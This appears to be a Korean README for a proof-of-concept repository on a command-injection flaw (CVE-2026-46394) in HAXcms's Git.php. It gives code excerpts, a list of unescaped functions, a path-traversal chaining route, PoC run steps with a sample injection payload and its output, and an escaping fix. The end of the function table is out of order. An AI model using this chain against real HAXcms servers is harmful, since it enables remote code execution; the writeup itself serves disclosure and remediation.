shreyas-challa/cve-2026-46394-haxcms-git-command-injectionCVE-2026-46394에 대한 PoC 및 writeup: HAXcms Git.php의 OS 명령 주입(CWE-78). 인가된 보안 연구 목적으로만 사용하세요.
| CVE | CVE-2026-46394 |
| 구성 요소 | HAXcms PHP 백엔드 - system/backend/php/lib/Git.php |
| 취약점 | OS 명령 주입 (CWE-78) |
| 심각도 | 높음 - CVSS 3.1 단독 7.2 / 경로 탐색과 연계 시 8.1 |
| 상태 | 업스트림에서 수정됨. 패치 이전 릴리스에 영향. |
| 프로젝트 | elmsln/HAXcms |
| 보고자 | Shreyas Challa ([email protected]) |
HAXcms PHP 백엔드의 Git.php 라이브러리는 소독되지 않은 매개변수를 연결하여 셸 명령 문자열을 구성하고 이를 proc_open()에 직접 전달합니다. 셸 명령을 실행하는 17개의 함수 중 하나(commit())만 escapeshellarg()를 사용합니다. 나머지 15개는 호출자 입력을 명령 문자열에 직접 삽입합니다.
셸 메타문자(&, ;, |, $(), 백틱)를 포함한 값이 이러한 함수 중 하나에 도달하면 웹 서버 사용자 권한으로 임의 OS 명령 실행이 발생합니다.
올바르게 이스케이프된 단 하나의 함수는 이스케이프 처리가 이해되었으며 단순히 다른 모든 곳에서 누락되었다는 가장 명확한 증거입니다.
모든 취약한 함수는 run() → run_command() → proc_open() 흐름을 거칩니다:
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
취약한 예시와 유일하게 안전한 함수의 비교:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| 함수 | 라인 | 셸 명령 | 이스케이프? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | 아니요 |
delete_branch($branch) | 588 | branch -d $branch | 아니요 |
checkout($branch) | 663 | checkout $branch | 아니요 |
merge($branch) | 677 | merge $branch --no-ff | 아니요 |
push($remote, $branch) | 785 | push $remote $branch $flags | 아니요 |
pull($remote, $branch) | 799 | pull $remote $branch | 아니요 |
log($format) | 813 | log --pretty=format:"$format" | 아니요 |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | 아니요 |
list_tags($pattern) | 763 | tag -l $pattern | 아니요 |
clone_to($target) | 512 | clone --local $repo $target | 아니요 |
clone_from($source) | 527 | clone --local $source $repo | 아니요 |
clone_remote($source) | 543 | clone $source $repo | 아니요 |
set_remote($dest, $url) | 460 | remote add $dest $url | 아니요 |
rm($files) |
배포된 코드베이스에서 이러한 함수들은 요청 본문에서 직접 가져온 값이 아닌 서버/사이트 구성에서 가져온 값으로 호출되므로, 악용은 **연쇄 공격(chaining)**을 통해 실현됩니다:
saveOutline 경로 탐색을 사용하여 사이트의 site.json을 덮어쓰고 metadata.site.git.branch에 메타문자를 주입합니다. 다음 gitCommit() 호출 시 HAXCMSSite.php:584에서 push('origin', $branch)가 실행되며 페이로드가 실행됩니다.create_branch() (Operations.php:2762) 또는 set_remote() (HAXCMSSite.php:625)에 도달합니다.PoC는 실제 Git.php 라이브러리를 직접 구동합니다. 임시 git 저장소를 생성하고 셸 명령 구분자를 사용하는 페이로드로 create_branch()를 호출한 다음, 디스크에 기록된 증명 파일을 확인하여 실행을 검증합니다. 실행 후 스스로 정리합니다.
PATH에 등록된 gitgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
PoC를 HAXcms 클론의 Git.php에 지정합니다 (환경 변수 또는 첫 번째 인자). 또한 PoC 옆에 배치된 haxcms-php/를 자동으로 발견합니다:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Unix(; 구분자)와 Windows(& 구분자) 모두에서 작동하며, PoC가 호스트 OS에 맞는 페이로드를 자동으로 선택합니다.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
15개 함수 모두의 모든 매개변수에 escapeshellarg()를 적용하십시오:
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
심층 방어 - 값이 git 계층에 도달하기 전에 검증하십시오:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
업스트림 수정 사항이 포함된 최신 HAXcms 릴리스로 업데이트하십시오.
이 문제는 HAXcms 관리자에게 보고되었으며 공개 전에 수정되었습니다. PoC는 패치가 제공된 이후에만 공개됩니다. 반드시 자신이 소유하거나 명시적으로 테스트 승인을 받은 시스템에만 사용하십시오.
본 자료는 방어적 연구, 교육, 그리고 승인된 보안 테스트를 위해 제공됩니다. 명시적 허가 없이 시스템에 대해 실행하는 것은 불법일 수 있습니다. 모든 관련 법률을 준수하고 테스트 전에 승인을 받을 책임은 전적으로 사용자에게 있습니다. 보증 없이 "있는 그대로" 제공됩니다 (LICENSE 참조).
| 479 |
rm $files |
| 아니요 |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: 아니요, $msg: 예 |
commit($message) | 496 | commit -av -m $message | 예 (유일하게 안전한 함수) |